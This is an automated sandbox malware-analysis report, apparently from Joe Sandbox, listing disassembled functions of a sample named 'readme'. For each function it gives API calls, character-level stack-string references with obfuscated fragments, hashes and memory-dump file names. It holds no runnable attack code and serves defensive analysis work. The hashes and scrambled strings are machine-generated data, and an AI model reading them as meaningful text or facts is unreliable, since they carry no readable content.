API String ID: 0-3399755458
Opcode ID: bd7c04dccf065e1d88f6d9f7e92eaab3c2c44fac3a6ad3412f958f15279ef865
Instruction ID: 7bb5c3633d4d28a97bd5419e7888351cfa4f1d60291a9d888d1e89523d7a5470
Opcode Fuzzy Hash: bd7c04dccf065e1d88f6d9f7e92eaab3c2c44fac3a6ad3412f958f15279ef865
Instruction Fuzzy Hash: DDA2A13040C7C29AD336C63888587CBBFD46BA6324F588B9DD1ED4A2D2D675024AD767

Function 00415BD0 Relevance: 108.6, APIs: 6, Strings: 66, Instructions: 646memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,00000000), ref: 004164B1
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00000014), ref: 004164EB
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000014), ref: 004164F2
lstrlenA.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,00000014), ref: 0041654B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004165E3
HeapFree.KERNEL32(00000000), ref: 004165EA

Strings

U, xrefs: 004163A3
N, xrefs: 00415D97
g, xrefs: 004163B2
7, xrefs: 00416402
S, xrefs: 00416211
0, xrefs: 00415C3E
M, xrefs: 004163CB
:, xrefs: 00415C04
s, xrefs: 00415EE6
T, xrefs: 004163B7
., xrefs: 00415C91
U, xrefs: 00416051
], xrefs: 00415E96
., xrefs: 0041634E
', xrefs: 00415C20
F, xrefs: 00415D79
6, xrefs: 00415ED7
/, xrefs: 00415D61
M, xrefs: 00415C8C
v, xrefs: 004160F9
], xrefs: 00415D8D
d, xrefs: 00416220
G, xrefs: 004163F3
O, xrefs: 00415DB0
>, xrefs: 004163C6
Y, xrefs: 00415C09
\, xrefs: 00415EC3
c, xrefs: 00415C7F
n, xrefs: 004161B3
{, xrefs: 00415BFF
\, xrefs: 00416376
?, xrefs: 00415ED2
|, xrefs: 0041603D
p, xrefs: 00416385
n, xrefs: 00416234
", xrefs: 004160D1
i, xrefs: 00416033
#, xrefs: 00416248
:, xrefs: 00415D44
h, xrefs: 0041604C
I, xrefs: 00415EF4
^, xrefs: 0041638F
a, xrefs: 0041640C
{, xrefs: 00415F03
A, xrefs: 00416042
~, xrefs: 0041635D
4, xrefs: 00415C25
k, xrefs: 004163D0
3, xrefs: 004163A8
z, xrefs: 00415C34
2, xrefs: 00415C68
7, xrefs: 004163E4
b, xrefs: 004163F8
a, xrefs: 004163EE
l, xrefs: 00415CBE
7, xrefs: 004160FE
p, xrefs: 00416056
?, xrefs: 00415D66
', xrefs: 00415EC8
M, xrefs: 00415EA0
f, xrefs: 00415EFE
n, xrefs: 004163DA
d, xrefs: 00416029
9, xrefs: 00415E55
c, xrefs: 00415D4E
&, xrefs: 004163BC

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$Processlstrlen$AllocFree
String ID: "$#$&$'$'$.$.$/$0$2$3$4$6$7$7$7$9$:$:$>$?$?$A$F$G$I$M$M$M$N$O$S$T$U$U$Y$\$\$]$]$^$a$a$b$c$c$d$d$f$g$h$i$k$l$n$n$n$p$p$s$v$z${${$|$~
API String ID: 2204526134-88862724
Opcode ID: 35d8601f16750b3f0a8b14371d56d770c5ec2ac2de7b2246bbd6a7e197c30585
Instruction ID: d3d8d2549f7682fd1551bd31a31a6895d5c84ed4d1ce20b04fc8ae49b41e83c9
Opcode Fuzzy Hash: 35d8601f16750b3f0a8b14371d56d770c5ec2ac2de7b2246bbd6a7e197c30585
Instruction Fuzzy Hash: D8622A2110D7C189D322CB3C985868FBFD51BA7218F585E9DF5E44B3E3C2AA8249C767

Function 0040E246 Relevance: 98.0, Strings: 78, Instructions: 512COMMON

Download Yara Rule

Strings

6, xrefs: 0040E3C3
(, xrefs: 0040E301
u, xrefs: 0040E530
3, xrefs: 0040E915
j, xrefs: 0040E55F
d, xrefs: 0040E7CD
!, xrefs: 0040E323
y, xrefs: 0040E974
l, xrefs: 0040EAC6
,, xrefs: 0040E3CB
a, xrefs: 0040E9DA
s, xrefs: 0040E328
n, xrefs: 0040E9C2
I, xrefs: 0040E8FD
c, xrefs: 0040EAA6
d, xrefs: 0040E79E
n, xrefs: 0040E7C5
n, xrefs: 0040ECE3
s, xrefs: 0040E9B2
j, xrefs: 0040E626
n, xrefs: 0040E636
q, xrefs: 0040E557
A, xrefs: 0040E306
Ljq, xrefs: 0040E5C0
hyb, xrefs: 0040ED23
<, xrefs: 0040E777
a, xrefs: 0040EAAE
s, xrefs: 0040E7B5
a, xrefs: 0040ECCB
l, xrefs: 0040E786
r, xrefs: 0040E7D5
g, xrefs: 0040E73F
,, xrefs: 0040E30B
a, xrefs: 0040E528
n, xrefs: 0040E42C
f, xrefs: 0040E2F7
a, xrefs: 0040E7BD
rebyc, xrefs: 0040ED77
l, xrefs: 0040E520
t, xrefs: 0040E96C
e, xrefs: 0040E99B
n, xrefs: 0040E3A4
a, xrefs: 0040E7DD
!, xrefs: 0040E3FB
n, xrefs: 0040E9A3
d, xrefs: 0040E9CA
o, xrefs: 0040E394
lmada, xrefs: 0040ED07
a, xrefs: 0040E434
c, xrefs: 0040E518
r, xrefs: 0040EAB6
a, xrefs: 0040E62E
h, xrefs: 0040E39C
r, xrefs: 0040ECD3
o, xrefs: 0040E3BB
j, xrefs: 0040E38C
t, xrefs: 0040E964
h, xrefs: 0040ECC3
o, xrefs: 0040ECDB
C, xrefs: 0040E747
x$], xrefs: 0040E376
r, xrefs: 0040E9D2
m, xrefs: 0040E9F9
n, xrefs: 0040E796
b, xrefs: 0040E954
n, xrefs: 0040E424
S, xrefs: 0040E71F
dualc, xrefs: 0040EC6E
a, xrefs: 0040E9BA
i, xrefs: 0040E78E
a, xrefs: 0040E7A6
e, xrefs: 0040E95C
o, xrefs: 0040EABE
s, xrefs: 0040ECBB
e, xrefs: 0040E63E
O, xrefs: 0040E3DB
fna, xrefs: 0040E8D9
B, xrefs: 0040E2FC

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$A$B$C$I$Ljq$O$S$a$a$a$a$a$a$a$a$a$a$b$c$c$d$d$d$dualc$e$e$e$f$fna$g$h$h$hyb$i$j$j$j$l$l$l$lmada$m$n$n$n$n$n$n$n$n$n$o$o$o$o$q$r$r$r$r$rebyc$s$s$s$s$t$t$u$x$]$y
API String ID: 0-3286634472
Opcode ID: bd6bb27d60141563e35dc989fdf8730712766b0b72a44616c1c7e8647056d585
Instruction ID: 214f063a2eaa7479a4200d3698902748cf37a85b794205f16bdb65cf0bbf3bb2
Opcode Fuzzy Hash: bd6bb27d60141563e35dc989fdf8730712766b0b72a44616c1c7e8647056d585
Instruction Fuzzy Hash: C862AF2400D7C18AE332CB7894547DFFFD15BA6308F089EAED4DD6A292C6B60159CB67

Function 00409F47 Relevance: 95.6, Strings: 76, Instructions: 616COMMON

Download Yara Rule

Strings

c, xrefs: 0040A98F
&, xrefs: 0040A51D
$, xrefs: 0040A7EC
Z, xrefs: 0040AA1E
7, xrefs: 0040A5C5
O, xrefs: 00409F6E
, xrefs: 0040A4FD
V, xrefs: 0040A75E
&, xrefs: 0040A32F
d, xrefs: 0040A96F
:, xrefs: 0040A3E2
-, xrefs: 0040A33F
p, xrefs: 0040A3C2
H, xrefs: 0040A0A1
V, xrefs: 00409F66
d, xrefs: 0040A868
*, xrefs: 0040A5A5
L, xrefs: 0040A04F
h, xrefs: 0040A69E
2, xrefs: 0040A3DA
', xrefs: 0040A844
_, xrefs: 0040A61E
d, xrefs: 0040A160
), xrefs: 0040A8BB
l, xrefs: 0040A987
!, xrefs: 0040A565
4, xrefs: 0040AA23
u, xrefs: 0040A880
}, xrefs: 0040A34F
`, xrefs: 0040A68E
", xrefs: 0040AA3D
P, xrefs: 0040A766
O, xrefs: 0040A5D5
{, xrefs: 0040A170
C, xrefs: 00409F76
9, xrefs: 0040A057
E, xrefs: 0040A03F
?, xrefs: 0040A555
:, xrefs: 0040A80C
#, xrefs: 0040A626
., xrefs: 00409F96
], xrefs: 0040A97F
@, xrefs: 0040A030
L, xrefs: 0040AA35
{, xrefs: 0040AA4F
I, xrefs: 0040A58D
I, xrefs: 0040A834
[, xrefs: 0040A1F2
E, xrefs: 0040AA59
t, xrefs: 0040A858
g, xrefs: 0040A0A9
K, xrefs: 00409F8E
_, xrefs: 0040A814
P, xrefs: 0040A64E
E, xrefs: 0040A236
5, xrefs: 0040A646
;, xrefs: 0040A62E
., xrefs: 00409FA0
d, xrefs: 0040A878
D, xrefs: 0040A7E4
", xrefs: 0040A047
;, xrefs: 0040A5BD
r, xrefs: 0040A860
T, xrefs: 0040A7DC
\, xrefs: 0040A03A
F, xrefs: 0040A63E
+, xrefs: 0040A83C
J, xrefs: 0040AA4A
9, xrefs: 0040A1D2
s, xrefs: 0040A804
j, xrefs: 0040A0B1
B, xrefs: 00409F86
^, xrefs: 00409F7E
}, xrefs: 0040A505
o, xrefs: 0040A870
^, xrefs: 0040A595

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $!$"$"$#$$$&$&$'$)$*$+$-$.$.$2$4$5$7$9$9$:$:$;$;$?$@$B$C$D$E$E$E$F$H$I$I$J$K$L$L$O$O$P$P$T$V$V$Z$[$\$]$^$^$_$_$`$c$d$d$d$d$g$h$j$l$o$p$r$s$t$u${${$}$}
API String ID: 0-3967217698
Opcode ID: ffa1e3fc69652a11b1a6c6df878d9b27e8738cfaffb22d8a44fe04aed7599e5e
Instruction ID: c25c44ad86f806f1bc6481ccfacf67464102ede46037e78e9a54b81988712fa8
Opcode Fuzzy Hash: ffa1e3fc69652a11b1a6c6df878d9b27e8738cfaffb22d8a44fe04aed7599e5e
Instruction Fuzzy Hash: 6A82A03040C7C29AD376CA3884487CBBFD56BE6324F488B9DD1ED4A2D2DA75024AD767

Function 00404990 Relevance: 76.6, Strings: 61, Instructions: 363COMMON

Download Yara Rule

Strings

l, xrefs: 00404A67
v, xrefs: 00404B65
e, xrefs: 00404E10
n, xrefs: 00404E3E
}, xrefs: 00404D7A
2, xrefs: 00404A90
R, xrefs: 00404E5D
(, xrefs: 004049E0
edippugvawpubewrd, xrefs: 00404F91
d, xrefs: 00404DF9
r, xrefs: 0040501D
W, xrefs: 00404A9F
p, xrefs: 00404B7D
k, xrefs: 00404BA3
H, xrefs: 004049F0
m, xrefs: 00404E2E
n, xrefs: 00404E4D
_, xrefs: 00404D6A
d, xrefs: 00404D0E
3, xrefs: 00404A86
], xrefs: 00404A8B
m, xrefs: 00404D44
b, xrefs: 00404E26
a, xrefs: 00404DBB
j, xrefs: 00404A48
p, xrefs: 00405009
v, xrefs: 00404BB6
k, xrefs: 00404DB6
&, xrefs: 00404ECB
a, xrefs: 00404E01
r, xrefs: 00404CBF
d, xrefs: 00404EA6
, xrefs: 00404AAE
bewrd, xrefs: 00404FC2
r, xrefs: 00404E9C
v, xrefs: 00404BAD
j, xrefs: 00404E55
<, xrefs: 00404AA4
|, xrefs: 00404EB0
N, xrefs: 00404AA9
e, xrefs: 00404A9A
w, xrefs: 00404FFF
d, xrefs: 0040500E
o, xrefs: 00404E36
K, xrefs: 00404A6F
e, xrefs: 00404CCF
a, xrefs: 00404BA8
u, xrefs: 00404B75
g, xrefs: 00405018
U, xrefs: 00404ADA
V, xrefs: 00404A95
i, xrefs: 00404D06
w, xrefs: 00404CC7
4, xrefs: 00404D5A
m, xrefs: 00405013
f, xrefs: 00404E92
d, xrefs: 00404CB7
u, xrefs: 00405004
g, xrefs: 00404B6D
p, xrefs: 00404CFE
v, xrefs: 00404DC0

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $&$($2$3$4$<$H$K$N$R$U$V$W$]$_$a$a$a$b$bewrd$d$d$d$d$d$e$e$e$edippugvawpubewrd$f$g$g$i$j$j$k$k$l$m$m$m$n$n$o$p$p$p$r$r$r$u$u$v$v$v$v$w$w$|$}
API String ID: 0-3024838208
Opcode ID: 2a9d7a6043b61eb5a444d87ebce2f5865ace6771c7c66fe5ec91156bfd5689eb
Instruction ID: dfcb897c3c3ddb5f64d256e8bd4ce8caa9f1c39f7f70016a84696abcb0595acb
Opcode Fuzzy Hash: 2a9d7a6043b61eb5a444d87ebce2f5865ace6771c7c66fe5ec91156bfd5689eb
Instruction Fuzzy Hash: EA12BE2010D7C18DE322C678945479FFFD11BA7618F484A9EE1E85B393D6BA8109CB77

Function 004108D0 Relevance: 70.3, Strings: 56, Instructions: 348COMMON

Download Yara Rule

Strings

o, xrefs: 00410C49
*, xrefs: 00410D21
`, xrefs: 00410AF2
d, xrefs: 00410B3F
d, xrefs: 00410E79
o, xrefs: 00410E65
Ax`B, xrefs: 00410C02, 00410C14
L, xrefs: 00410B0A
1, xrefs: 00410DCF
x, xrefs: 00410BA7
, xrefs: 00410C59
6, xrefs: 00410BED
r, xrefs: 00410E4C
r, xrefs: 00410E47
0, xrefs: 00410C21
H, xrefs: 004108E4
r, xrefs: 00410E56
;, xrefs: 00410DE8
o, xrefs: 00410E51
y, xrefs: 00410D3A
%, xrefs: 00410ABA
E, xrefs: 00410E42
I, xrefs: 004108F3
d, xrefs: 00410E6F
a, xrefs: 00410E7E
&, xrefs: 00410D6F
m, xrefs: 00410B62
l, xrefs: 00410B49
[, xrefs: 00410AA2
K, xrefs: 00410B1A
c, xrefs: 00410D03
o, xrefs: 00410E6A
R, xrefs: 00410DE3
{O, xrefs: 004109AE
6, xrefs: 00410AC2
G, xrefs: 00410E60
m, xrefs: 00410974
X, xrefs: 00410AEA
y, xrefs: 00410E83
A, xrefs: 00410DD9
<, xrefs: 00410B7A
N, xrefs: 00410AAA
p, xrefs: 00410979
o, xrefs: 00410B7F
B, xrefs: 00410ADA
s, xrefs: 00410C51
r, xrefs: 00410B67
, xrefs: 00410E74
x, xrefs: 00410D79
<, xrefs: 00410D26
O, xrefs: 00410960
, xrefs: 00410B53
d, xrefs: 00410B58
l, xrefs: 00410C31
c, xrefs: 00410BB7
S, xrefs: 00410D60

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $ $ $%$&$*$0$1$6$6$;$<$<$A$Ax`B$B$E$G$H$I$K$L$N$O$R$S$X$[$`$a$c$c$d$d$d$d$l$l$m$m$o$o$o$o$o$p$r$r$r$r$s$x$x$y$y${O
API String ID: 0-2256030295
Opcode ID: da0bcaadc6d3e6a73930e08e3bb51312d0306c4b7cb00b51c7135d2fd64d93b4
Instruction ID: 43956b3c6462715040061548aa2c3e0b9dcfe60922f62804308211c4145eee04
Opcode Fuzzy Hash: da0bcaadc6d3e6a73930e08e3bb51312d0306c4b7cb00b51c7135d2fd64d93b4
Instruction Fuzzy Hash: C312C02010D7C18DD362867C949878FFFD11BE7228F585A9DF1E84A3E3C2AA8149C767

Function 00411800 Relevance: 67.9, Strings: 54, Instructions: 399COMMON

Download Yara Rule

Strings

e, xrefs: 0041199B
t, xrefs: 004119F1
b, xrefs: 00411B93
e, xrefs: 004119D2
|, xrefs: 00411917
d, xrefs: 00411969
c, xrefs: 00411D8A
L, xrefs: 0041183A
a, xrefs: 00411D0C
H, xrefs: 00411964
a, xrefs: 004119E9
x, xrefs: 004119A3
d, xrefs: 00411BA3
d, xrefs: 00411D04
#, xrefs: 0041190F
t, xrefs: 00411D14
e, xrefs: 00411C0B
m, xrefs: 00411C3C
c, xrefs: 00411E4E
1, xrefs: 00411DB5
^, xrefs: 00411835
C, xrefs: 004118FF
s, xrefs: 00411D82
i, xrefs: 004118F7
s, xrefs: 00411C44
m, xrefs: 00411E53
p, xrefs: 00411E61
P, xrefs: 00411C27
e, xrefs: 00411D6C
g, xrefs: 00411D3A
i, xrefs: 00411E66
i, xrefs: 004119C2
y, xrefs: 00411BAB
f, xrefs: 004119BA
7, xrefs: 00411927
p, xrefs: 00411821
d, xrefs: 00411E58
d, xrefs: 00411BBA
t, xrefs: 004119AB
r, xrefs: 00411D92
g, xrefs: 00411C4C
G, xrefs: 0041196E
o, xrefs: 00411D32
-, xrefs: 00411C5B
o, xrefs: 00411B9B
l, xrefs: 00411D2A
t, xrefs: 00411993
e, xrefs: 00411D5C
a, xrefs: 004119F9
x, xrefs: 00411D64
}, xrefs: 00411A8A
l, xrefs: 004119CA
f, xrefs: 00411E6B
d, xrefs: 004119E1

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: #$-$1$7$C$G$H$L$P$^$a$a$a$b$c$c$d$d$d$d$d$d$e$e$e$e$e$f$f$g$g$i$i$i$l$l$m$m$o$o$p$p$r$s$s$t$t$t$t$x$x$y$|$}
API String ID: 0-2094285404
Opcode ID: 51d36cf9d135ff13def567e27bab96c356f22eb539a5bbfb782b486a00b3a5bc
Instruction ID: f91fdec992fe17677b43e0b7d472141b995edb7bc8f57b37002556bdc30744f2
Opcode Fuzzy Hash: 51d36cf9d135ff13def567e27bab96c356f22eb539a5bbfb782b486a00b3a5bc
Instruction Fuzzy Hash: 4822022110D7C18DE3328B38945479BBFD21FE7218F185E9EE5E84B3A2C6B58109DB67

Function 00410907 Relevance: 67.8, Strings: 54, Instructions: 336COMMON

Download Yara Rule

Strings

o, xrefs: 00410C49
*, xrefs: 00410D21
`, xrefs: 00410AF2
d, xrefs: 00410B3F
d, xrefs: 00410E79
o, xrefs: 00410E65
Ax`B, xrefs: 00410C02, 00410C14
L, xrefs: 00410B0A
1, xrefs: 00410DCF
x, xrefs: 00410BA7
, xrefs: 00410C59
6, xrefs: 00410BED
r, xrefs: 00410E4C
r, xrefs: 00410E47
0, xrefs: 00410C21
r, xrefs: 00410E56
;, xrefs: 00410DE8
o, xrefs: 00410E51
y, xrefs: 00410D3A
%, xrefs: 00410ABA
E, xrefs: 00410E42
d, xrefs: 00410E6F
a, xrefs: 00410E7E
&, xrefs: 00410D6F
m, xrefs: 00410B62
l, xrefs: 00410B49
[, xrefs: 00410AA2
K, xrefs: 00410B1A
c, xrefs: 00410D03
o, xrefs: 00410E6A
R, xrefs: 00410DE3
{O, xrefs: 004109AE
6, xrefs: 00410AC2
G, xrefs: 00410E60
m, xrefs: 00410974
X, xrefs: 00410AEA
y, xrefs: 00410E83
A, xrefs: 00410DD9
<, xrefs: 00410B7A
N, xrefs: 00410AAA
p, xrefs: 00410979
o, xrefs: 00410B7F
B, xrefs: 00410ADA
s, xrefs: 00410C51
r, xrefs: 00410B67
, xrefs: 00410E74
x, xrefs: 00410D79
<, xrefs: 00410D26
O, xrefs: 00410960
, xrefs: 00410B53
d, xrefs: 00410B58
l, xrefs: 00410C31
c, xrefs: 00410BB7
S, xrefs: 00410D60

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $ $ $%$&$*$0$1$6$6$;$<$<$A$Ax`B$B$E$G$K$L$N$O$R$S$X$[$`$a$c$c$d$d$d$d$l$l$m$m$o$o$o$o$o$p$r$r$r$r$s$x$x$y$y${O
API String ID: 0-2712818868
Opcode ID: 6ffe89f5952b37d7b41ad2369ec969154af03488458b80ea56ad85364e586578
Instruction ID: 1d3985015a6004c57cc64fd4eab342ec2e216b16199d8406fbd0a1e5bf867d26
Opcode Fuzzy Hash: 6ffe89f5952b37d7b41ad2369ec969154af03488458b80ea56ad85364e586578
Instruction Fuzzy Hash: 1602B02010D7C18DD362867D949878FFFD11BE7228F585A9DE1E84B3E3C2AA8149C767

Function 0040FF30 Relevance: 66.7, Strings: 53, Instructions: 412COMMON

Download Yara Rule

Strings

., xrefs: 0041005F
@, xrefs: 0041009A
c, xrefs: 004101BF
#, xrefs: 00410095
0, xrefs: 004102A3
2, xrefs: 0041047B
y, xrefs: 00410191
y, xrefs: 0041024C
Z, xrefs: 00410294
4, xrefs: 004104FC
H, xrefs: 0041038B
m, xrefs: 00410489
N', xrefs: 0040FFBE
f, xrefs: 004104BB
6, xrefs: 004100A9
y, xrefs: 00410510
a, xrefs: 0041035D
c, xrefs: 00410067
+er, xrefs: 0041043A
n, xrefs: 00410040
x, xrefs: 00410057
w, xrefs: 00410244
i, xrefs: 00410038
a, xrefs: 00410601
h, xrefs: 004101A1
m, xrefs: 00410076
., xrefs: 004101B7
a, xrefs: 0041046C
r, xrefs: 004103A3
w, xrefs: 004104C5
., xrefs: 00410254
8, xrefs: 004103BC
., xrefs: 00410480
e, xrefs: 004103A8
^, xrefs: 00410339
1, xrefs: 004100C7
P, xrefs: 0041028F
Y, xrefs: 00410374
|, xrefs: 00410280
), xrefs: 0041029E
g, xrefs: 0041022E
1, xrefs: 004102B2
r, xrefs: 00410471
m, xrefs: 004101CE
], xrefs: 004102A8
l, xrefs: 0041060B
b, xrefs: 00410048
i, xrefs: 00410606
;, xrefs: 004103E8
c, xrefs: 0041025C
e, xrefs: 00410476
m, xrefs: 0041026B
a, xrefs: 00410199

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: #$)$+er$.$.$.$.$0$1$1$2$4$6$8$;$@$H$N'$P$Y$Z$]$^$a$a$a$a$b$c$c$c$e$e$f$g$h$i$i$l$m$m$m$m$n$r$r$w$w$x$y$y$y$|
API String ID: 0-4186895133
Opcode ID: 0457d87cb6172381257f14a505d1067714eb00389eaa25dabdda14dbf2249052
Instruction ID: d9655f3602fa6a1bb02df14978dde1affe4b5e2ecf171b0ab4337b2ceb98d59a
Opcode Fuzzy Hash: 0457d87cb6172381257f14a505d1067714eb00389eaa25dabdda14dbf2249052
Instruction Fuzzy Hash: B032D02110E7C18DD322973C945879FFFE11BA7218F585E9DE1E88B393C2A68149C767

Function 0040E676 Relevance: 61.6, Strings: 49, Instructions: 320COMMON

Download Yara Rule

Strings

3, xrefs: 0040E915
d, xrefs: 0040E7CD
l, xrefs: 0040EAC6
y, xrefs: 0040E974
a, xrefs: 0040E9DA
n, xrefs: 0040E9C2
c, xrefs: 0040EAA6
I, xrefs: 0040E8FD
d, xrefs: 0040E79E
n, xrefs: 0040E7C5
n, xrefs: 0040ECE3
a, xrefs: 0040E813
s, xrefs: 0040E9B2
hyb, xrefs: 0040ED23
<, xrefs: 0040E777
a, xrefs: 0040EAAE
s, xrefs: 0040E7B5
a, xrefs: 0040ECCB
l, xrefs: 0040E786
r, xrefs: 0040E7D5
g, xrefs: 0040E73F
a, xrefs: 0040E7BD
rebyc, xrefs: 0040ED77
t, xrefs: 0040E96C
e, xrefs: 0040E99B
a, xrefs: 0040E7DD
d, xrefs: 0040E9CA
n, xrefs: 0040E9A3
lmada, xrefs: 0040ED07
r, xrefs: 0040EAB6
r, xrefs: 0040ECD3
t, xrefs: 0040E964
h, xrefs: 0040ECC3
o, xrefs: 0040ECDB
C, xrefs: 0040E747
r, xrefs: 0040E9D2
m, xrefs: 0040E9F9
n, xrefs: 0040E796
n, xrefs: 0040E833
b, xrefs: 0040E954
S, xrefs: 0040E71F
dualc, xrefs: 0040EC6E
a, xrefs: 0040E9BA
i, xrefs: 0040E78E
a, xrefs: 0040E7A6
e, xrefs: 0040E95C
o, xrefs: 0040EABE
s, xrefs: 0040ECBB
fna, xrefs: 0040E8D9

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
